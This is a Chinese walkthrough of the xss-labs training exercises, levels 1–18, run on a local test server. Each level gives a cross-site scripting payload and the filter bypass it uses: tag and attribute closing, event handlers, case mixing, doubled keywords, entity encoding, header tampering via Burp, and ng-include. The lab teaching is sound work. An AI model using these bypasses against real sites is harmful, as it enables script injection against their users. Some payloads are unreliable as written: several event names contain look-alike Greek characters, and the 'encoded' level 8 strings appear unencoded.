level1
发现有一个name参数,值为test;对name进行payload注入
name=<script>alert('hack')</script>
说明源码是完全没有对get请求到的name变量进行过滤,所以会被执行。
level2
1.test是以get请求发送的变量,2.在页面上发现了用户发送的变量
查看源码
发现我们输入的内容是一个文本框的value值,这样浏览器是不会执行我们的注入语句的,所以我们要构造标签闭合
构造闭合标签,把input标签闭合掉,然后写个script标签
"> <script>alert('hack')</script> //
level3
查看源码发现和第二关差不多,先用第二关的试一下
发现h2和input处的<,>这样地敏感字符编码成了html字符实体。猜测服务器在这两处都用htmlspecialchars()函数进行了处理。
利用input标签里的特殊事件,来执行js代码,例如onfocus语句,然后只需要闭合value的那个引号即可,注意,)后面需要加个空格,构造url
发现页面并无多大变化,这是因为onfocus事件是JavaScript中对象获得焦点时发生的事件,最简单的实例就是网页上的一个搜索框,当鼠标点击该输入框,输入框被选中可以输入内容时就是该输入框获得焦点的时刻,此时输入框就会触发onfocus事件,因此点击当前页面输入框即可。
level4
利用简单的弹窗语句试一下
发现h2将<转义了,下面的value中的<被删除了,所以,利用第四关的input标签的特殊事件onfocus,此处将单引号改为双引号构造url
"οnfοcus=javascript:alert('xss')
level5
思路和前几关差不多,先用闭合标签试一下,
“ οnclick=”alert(123)
发现对事件on做了过滤,在他们中间加了一个_
第二种思路,用闭合标签,还是不行,对script标签也做了过滤
还可以使用a标签的href属性来构造payload
' "><a href='javascript:alert(123);'>点击我</a>
level6
一样的思路,先用闭合属性试试
闭合标签
用a标签试试
接下来我们可以尝试一下大小写混合绕过,将href大写
"><a HREF='javascript:alert(123);'>aaa</a>
用闭合属性试一下,同时大小写混合,也可以绕过去
level7
先试一下大小写混写能不能绕过,发现对on字项进行了整体替换
我们可以尝试双写绕过,比如oonn这样的话只会把中间的on替换为空,就剩下on了
" oonnclick="alert(123)
对script标签试一下
" ><sscriptcript>alert('hack')</sscriptcript> //
level8
查看源码发现我们输入的内容是input框的value,同时会当作友情链接a标签的href属性,我们尝试闭合a标签的href属性,构造新属性。
当我们测试时发现,javascript不仅加了_,并且使用了html编码,将特殊符号进行了编码,导致不能进行标签闭合。我们可以尝试html实体编码绕过,因为属性值是可以进行编码绕过的。
编码:
// 采用十进制ascii码
javascript:alert("jaden")
// 或者十六进制unicode编码
javascript:alert("jaden")
level9
有一个友情链接,查看后端代码其实是http协议校验,那么我们可以用注释符号
结合编码和js的注释符
javascript:alert("jaden")//http://www.baidu.com
level10
查看源代码发现三个隐藏的input,那么根据他们的name构造传值
根据三个input框的name值进行传值发现,t_sort传的值作为value属性的值渲染到页面上,所以针对name属性为t_sort的input标签进行注入,可以闭合属性,构造新的属性,同时把type=“hidden”属性替换掉,就可以看到页面效果。
'" type='text' onclick='alert(123)'
'" type='text' onblur='javascript:alert("hack")'
隐藏的文本框显示出来了,点击之后就会出现弹窗
level11
页面上没有任何可以输入的地方,查看源码发现有四个隐藏的输入框,发现t_ref是refer字段的值,来自第十关的URL
回到第十关,弹窗出现时,先打开burpsuite,再点击确定,这样就会抓到第十一关的数据包,然后修改refer字段的值为payload,然后放行
'" type='text' onclick='alert(123)'
'" type='text' onblur='javascript:alert("hack")'
这时候就会出现文本框,先点击文本框获得焦点,然后点击文本框外面失去焦点,就成功了。
level12
查看源码发现和上一关一样,只不过这里渲染的是上一关的user-agent请求头,所以先回到上一关,
用burpsuite进行抓包后,将user-agent值改为payload(和上一关相同),然后放行。
出现输入框之后点击就可以了
level13
和十一,十二关一样,但是这次是cookie数据用burp抓包后修改就成功了
level14
点击进入十五关,在这里需要修改一下URL
level15
这一关需要借助到一个新的属性,angularJS的ng-include
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
那么我们可以直接引用第一关网址的html文件网址路径来试一下
http://127.0.0.1/xss-labs-master/level1.php?name=test
将src修改后,下面渲染结构有一个部分也改变了
构造payload
http://127.0.0.1/xss-labs-master/level15.php?src='http://127.0.0.1/xss-labs-master/level1.php?name=test<img src=1 οnerrοr=alert("hack")>'
level16
发现接受一个keword参数,输出到页面上
先用标签试一下,看能不能成功
<img src=1 οnerrοr=alert("hack")>
发现空格被实体编码了,我们可以尝试用换行替代空格的方法进行绕过,可以先将换行进行URL编码%0D%0A,
<img%0D%0Asrc=1%0D%0Aοnerrοr=alert("hack")>
level17
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,也可以绑定各种事件,比如尝试绑定一个onmouseover事件。
' οnmοuseοver=alert("hack")
level18
和第十七关一样